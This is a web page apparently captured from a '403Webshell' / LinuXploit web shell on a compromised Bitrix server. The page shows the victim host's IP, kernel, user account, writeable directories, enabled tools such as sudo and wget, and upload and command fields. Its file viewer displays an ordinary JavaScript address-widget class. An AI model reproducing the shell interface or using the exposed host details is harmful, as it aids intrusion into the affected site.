403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/fileman/userfield/address_widget/src/view/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/fileman/userfield/address_widget/src/view/edit.js
import { Address as AddressEntity } from 'location.core';
import { Dom, Event, Loc, Tag } from 'main.core';
import { EventEmitter } from 'main.core.events';
import { BaseView } from './baseview';

import './css/style.css';
import { EditEntry } from './editentry';

export class Edit extends BaseView
{
	#fieldName = '';
	#fieldFormName = '';
	#addresses: AddressEntity[] = [];
	#inputsWrapper: Element = null;
	#isMultiple = false;
	#isCompactMode = false;
	#showMap = true;
	#showDetailsToggle: boolean = false;
	#inputs: EditEntry[] = [];

	constructor(params: Object)
	{
		super(params);
		this.#fieldName = params.fieldName;
		this.#fieldFormName = params.fieldFormName;
		this.#addresses = params.addresses;
		this.#isMultiple = params.isMultiple;
		this.#isCompactMode = params.compactMode;
		this.#showMap = params.showMap;
		this.#showDetailsToggle = Boolean(params.showDetailsToggle ?? false);
	}

	layout(): Element
	{
		const layout = Tag.render`<div class="address-edit-wrapper"></div>`;

		const inputsWrapper = Tag.render`<div class="address-inputs-wrapper"></div>`;

		if (this.#addresses.length > 0)
		{
			this.#addresses.forEach((address) => {
				const input = this.createInputForAddress(address);
				Dom.append(input.layout(), inputsWrapper);
			});
		}
		else
		{
			const input = this.createInputForAddress();
			Dom.append(input.layout(), inputsWrapper);
		}

		Dom.append(inputsWrapper, layout);
		this.#inputsWrapper = inputsWrapper;

		if (this.#isMultiple)
		{
			const addInputElement = Tag.render`<input type="button" value="${Loc.getMessage('ADDRESS_USERFIELD_ADD_INPUT')}" />`;
			Event.bind(addInputElement, 'click', this.addInput.bind(this));
			Dom.append(addInputElement, layout);
		}

		Dom.append(layout, this.getWrapper());

		return this.getWrapper();
	}

	addInput()
	{
		if (!this.#inputsWrapper)
		{
			return;
		}

		const input = this.createInputForAddress();
		Dom.append(input.layout(), this.#inputsWrapper);
	}

	createInputForAddress(address: AddressEntity): EditEntry
	{
		const entry = new EditEntry({
			wrapper: this.getWrapper(),
			address: address,
			fieldName: this.#fieldName,
			fieldFormName: this.#fieldFormName,
			enableRemoveButton: this.#isMultiple,
			initialAddressId: parseInt(address?.id) ?? null,
			isCompactMode: this.#isCompactMode,
			showMap: this.#showMap,
			showDetailsToggle: this.#showDetailsToggle,
		});
		EventEmitter.subscribe(entry, EditEntry.onRemoveInputButtonClickedEvent, this.removeInput.bind(this, entry));
		this.#inputs.push(entry);

		return entry;
	}

	removeInput(input: EditEntry)
	{
		const activeInputsCount = this.#inputs.filter((input) => {return !input.isDestroyed()}).length;

		if (activeInputsCount > 1)
		{
			input.destroy();
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit